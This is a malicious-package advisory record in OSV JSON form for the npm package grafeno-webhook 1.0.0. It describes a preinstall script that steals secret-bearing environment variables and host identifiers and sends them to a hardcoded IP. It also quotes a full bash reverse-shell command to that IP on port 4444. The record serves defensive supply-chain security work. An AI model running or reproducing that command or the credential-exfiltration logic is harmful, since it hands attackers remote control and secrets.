{"id":"MAL-2026-15573","summary":"Malicious code in grafeno-webhook (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36)\nThe preinstall.js lifecycle script executed automatically by npm install performs three hostile actions against the installer's machine. It enumerates process.env, filters for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, base64-encodes the values together with os.hostname() and os.userInfo().username, and sends the blob via curl over plain HTTP to the hardcoded bare-IP endpoint http://216.126.236.46/r.php. On non-Windows platforms it additionally spawns an interactive bash reverse shell to 216.126.236.46:4444 (bash -i \u003e& /dev/tcp/216.126.236.46/4444), giving the remote operator full command execution on the host running npm install. Host identifiers (hostname, username) are exfiltrated to the same IP, supporting victim tracking.\n","modified":"2026-08-29T23:30:10.913819335Z","published":"2026-08-29T23:11:06Z","database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019152","import_time":"2026-08-29T23:14:43.842948635Z","modified_time":"2026-08-29T23:11:06Z","sha256":"79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36","source":"amazon-inspector","versions":["1.0.0"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/grafeno-webhook/v/1.0.0"}],"affected":[{"package":{"name":"grafeno-webhook","ecosystem":"npm","purl":"pkg:npm/grafeno-webhook"},"versions":["1.0.0"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-webhook/MAL-2026-15573.json","indicators":{"evidence_files":[{"tlsh":"51f0ddb551a971b4996289d0e292c477a1fbd2123521fad09a9800ba4e9225048f35ea","path":"preinstall.js","sha256":"fe97adda118f1a4cd3ca1ac5523814e2db5ee22676fc56e212310039939dde24"}],"package_integrity":[{"filename":"grafeno-webhook-1.0.0.tgz","hashes":{"sha512_sri":"sha512-rdVmcmbHwyUZNeW5dUm2EsAMocRXEoVzKXFfcYNpULopY8LbsxWjzaT3hOxMEccdu48xZ27srAhCE1+Xv9ibrQ==","sha1":"695054c59732e2164cbc49da3b08589767736079"}}]}}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}